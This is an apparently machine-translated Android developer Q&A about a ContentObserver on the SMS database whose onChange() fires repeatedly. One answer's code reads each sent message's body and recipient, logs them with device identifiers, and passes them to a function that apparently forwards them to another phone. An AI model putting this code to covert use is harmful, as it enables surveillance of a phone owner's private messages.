我正在使用content://sms
的内容观察者。我正在将所有消息写入SD卡中的文本文件。但是内容观察器中的onChange()
方法被多次调用,并且相同的消息被多次写入文本文件。怎么避免这个?此外,我想知道是否让内容观察者放慢手机速度。
答案 0 :(得分:6)
您需要覆盖deliverSelfNotifications()以返回true。
class ObserverSms extends ContentObserver {
private Context mContext;
public ObserverSms(Context context, Handler handler) {
super(handler);
mContext = context;
}
@Override
public boolean deliverSelfNotifications() {
return true;
}
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
MyLog.logDebugInConsole(TAG, "Sms Database Changed");
}
}
答案 1 :(得分:1)
Vivek,请确保在您离开活动时取消注册您的内容观察员,例如在onDestroy()
方法中,请致电unregisterContentObserver()
。希望这有帮助! (在我的情况下,它有效)
答案 2 :(得分:1)
尝试这样做以避免多次执行onChange()
private Context context;
private static int initialPos;
private static final String TAG = "SMSContentObserver";
private static final Uri uriSMS = Uri.parse("content://sms/sent");
public SmsObserver(Handler handler, Context ctx) {
super(handler);
context = ctx;
trackMeData = context.getSharedPreferences("LockedSIM", 0);
initialPos = getLastMsgId();
}
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
queryLastSentSMS();
}
public int getLastMsgId() {
Cursor cur = context.getContentResolver().query(uriSMS, null, null, null, null);
cur.moveToFirst();
int lastMsgId = cur.getInt(cur.getColumnIndex("_id"));
Log.i(TAG, "Last sent message id: " + String.valueOf(lastMsgId));
return lastMsgId;
}
protected void queryLastSentSMS() {
new Thread(new Runnable() {
@Override
public void run() {
Cursor cur =
context.getContentResolver().query(uriSMS, null, null, null, null);
if (cur.moveToNext()) {
try {
String body = cur.getString(cur.getColumnIndex("body"));
if (initialPos != getLastMsgId()) {
String receiver = cur.getString(cur.getColumnIndex("address"));
Log.i("account", myDeviceId);
Log.i("date", day + "-" + month + "-" + year + " "
+ hour + ":" + minute + ":" + seconde);
Log.i("sender", myTelephoneNumber);
Log.i("receiver", receiver );
// Then, set initialPos to the current position.
initialPos = getLastMsgId();
sendsmstoph(receiver, body);
}
} catch (Exception e) {
// Treat exception here
}
}
cur.close();
}
}).start();
}
答案 3 :(得分:0)
为每个更改的列(即“body”或“address”)调用onChange()事件一次 - 因此多次调用。仅处理数据一次的最简单方法是存储“_id”列的值,看它是否在下一次迭代时发生了变化,然后忽略。
cur.getColumnIndex("_id")